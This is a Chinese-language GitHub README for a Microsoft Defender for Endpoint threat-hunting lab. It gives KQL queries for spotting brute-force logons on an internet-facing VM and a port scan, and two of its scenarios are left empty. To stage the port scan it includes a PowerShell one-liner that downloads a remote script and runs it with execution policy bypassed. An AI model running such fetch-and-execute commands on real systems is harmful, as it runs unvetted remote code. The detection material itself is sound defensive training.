NickHoward1/Threat-Hunting---Microsoft-Defender-for-Endpoint

GitHub: NickHoward1/Threat-Hunting---Microsoft-Defender-for-Endpoint

一个 Microsoft Defender for Endpoint 威胁狩猎实战项目,展示如何使用 KQL 查询检测暴力破解、端口扫描和数据泄露等安全威胁。

Stars: 0 | Forks: 0

威胁狩猎

目标

通过在四个真实的攻击场景中执行威胁狩猎活动、分析端点遥测和日志,并使用调查工具来检测异常和潜在的恶意行为,获得了 Microsoft Defender for Endpoint (MDE) 的实践经验。

环境

  • Microsoft Defender for Endpoint

完成的任务

  • 暴露在 Internet 上的设备:识别任何配置不当的 VM,并检查是否存在来自外部源的潜在暴力破解登录尝试/成功。
  • 突发网络缓慢:
  • 员工涉嫌数据泄露:

截图

暴露在 Internet 上的设备

首先,您需要搜索系统中所有不同的设备名称。 `DeviceInfo | distinct DeviceName` 这将返回组织内的设备列表,然后您可以选择一台设备,并使用以下查询来检查它是否面向 Internet。 `DeviceInfo | where DeviceName == "nicks-vm" | where IsInternetFacing == true | order by Timestamp desc` 然后,您可以导出您的发现并将其保存到笔记中。我会截取一张屏幕截图,并显示带有时间戳的最新记录。 接下来,您需要查看是否有人尝试登录该 VM,请使用下面的 KQL 查询。如果您不想指定特定用户,只需移除 `where DeviceName == "user"`,这将返回多个远程 IP 地址以及发生的失败登录次数。 `DeviceLogonEvents | Where DeviceName == "nicks-vm" | where LogonType has_any("Network", "Interactive", "RemoteInteractive", "Unlock") | where ActionType == "LogonFailed" | where isnotempty(RemoteIP) | summarize Attempts = count() by ActionType, RemoteIP, DeviceName | order by Attempts`       如果存在多个尝试次数非常高的 IP 地址,请务必检查它们是否在某个时刻登录成功,请使用下面的 KQL 查询。注意:这些 IP 地址仅作示例,您需要将其替换。如果日志确实显示成功登录,这意味着某个账户已被入侵,您应立即在 MDE 中隔离该设备,以防止后续的横向移动或恶意软件在网络中蔓延。 `let RemoteIPsInQuestion = dynamic(["119.42.115.235","183.81.169.238", "74.39.190.50", "121.30.214.172", "83.222.191.62", "45.41.204.12", "192.109.240.116"]); DeviceLogonEvents | where LogonType has_any("Network", "Interactive", "RemoteInteractive", "Unlock") | where ActionType == "LogonSuccess" | where RemoteIP has_any(RemoteIPsInQuestion)` 下面的 KQL 查询允许您查看企业内成功登录的账户名称。 `DeviceLogonEvents | where LogonType == "Network" | where ActionType == "LogonSuccess" | distinct AccountName` 在下面,您可以看到用于识别账户名 nickhoward2 失败登录尝试的 KQL 查询,该查询返回了 0 个结果。在第二个 KQL 查询中,我将 LogonFailed 替换为 LogonSuccess,结果返回了 16 次成功登录。这表明没有威胁行为者尝试使用 nickhoward2 用户名/账户进行登录。 如果我从搜索条件中移除 AccountName 过滤器,结果显示有来自外部 IP 地址的 756 次失败登录尝试,这表明环境中可能存在暴力破解攻击。 DeviceLogonEvents | where DeviceName == "nicks-vm" | where LogonType == "Network" | where ActionType == "LogonFailed" change to "LogonSucess" | where AccountName == "nickhoward2" `DeviceLogonEvents | where DeviceName == "nicks-vm" | where LogonType == "Network" | where ActionType == "LogonFailed" | summarize count()`       下面的 KQL 查询总结了成功的登录及其关联的 IP 地址,您可以点击该 IP 地址,系统会为您提供其地理位置信息。 `DeviceLogonEvents | where DeviceName == "nicks-vm" | where LogonType == "Network" | where ActionType == "LogonSuccess" | where AccountName == "nickhoward2" | summarize count() by DeviceName, ActionType, AccountName, RemoteIP`

突发网络缓慢

PowerShell 命令:用于此场景 `Invoke-WebRequest -Uri 'https://raw.githubusercontent.com/joshmadakor1/lognpacific-public/refs/heads/main/cyber-range/entropy-gorilla/portscan.ps1' -OutFile 'C:\programdata\portscan.ps1';cmd /c powershell.exe -ExecutionPolicy Bypass -File C:\programdata\portscan.ps1` 我们在 PowerShell 中运行了该命令,以展示网络内部正在发生端口扫描。 // 下面的第一个 KQL 用于统计失败的连接,请记下任何连接异常过多的 IP `DeviceNetworkEvents | where ActionType == "ConnectionFailed" | summarize FailedConnectionsAttempts = count() by DeviceName, ActionType, LocalIP, RemoteIP | order by FailedConnectionsAttempts desc` 一旦您执行了第一个 KQL,如果您想调查某个失败连接数量惊人的 IP,请使用下面的 KQL。 // 观察特定 IP 地址与其他 IP 之间所有失败的连接总数 `let IPInQuestion = "10.0.0.155"; DeviceNetworkEvents | where ActionType == "ConnectionFailed" | where LocalIP == IPInQuestion | summarize FailedConnectionsAttempts = count() by DeviceName, ActionType, LocalIP | order by FailedConnectionsAttempts desc`       // 观察目标 IP 的所有失败连接。发现了什么异常吗? let IPInQuestion = "10.0.0.155"; DeviceNetworkEvents | where ActionType == "ConnectionFailed" | where LocalIP == IPInQuestion | order by Timestamp desc // 观察发现异常活动过去 10 分钟内的 DeviceProcessEvents let VMName = "windows-target-"; let specificTime = datetime(2024-10-18T04:09:37.5180794Z); DeviceProcessEvents | where Timestamp between ((specificTime - 10m) .. (specificTime + 10m)) | where DeviceName == VMName | order by Timestamp desc | project Timestamp, FileName, InitiatingProcessCommandLine 下面的 KQL 查询帮助我找到了执行端口扫描的命令,我使用 `initiatingProcessCommandLine contains "portscan"` 来获取结果。我们知道正在进行端口扫描,因为在整个搜索结果中出现了大量的常用端口。 let VMName = "nicks-vm"; let specificTime = datetime(2026-05-28T14:09:37Z); DeviceProcessEvents | where Timestamp between ((specificTime - 1h) .. (specificTime + 1h)) | where DeviceName =~ VMName | project Timestamp, FileName, InitiatingProcessCommandLine | where InitiatingProcessCommandLine contains "portscan" | order by Timestamp desc

员工涉嫌数据泄露

新闻宣布新的 Zero-Day

标签:AI合规, KQL查询, Microsoft Defender, 安全运营, 扫描框架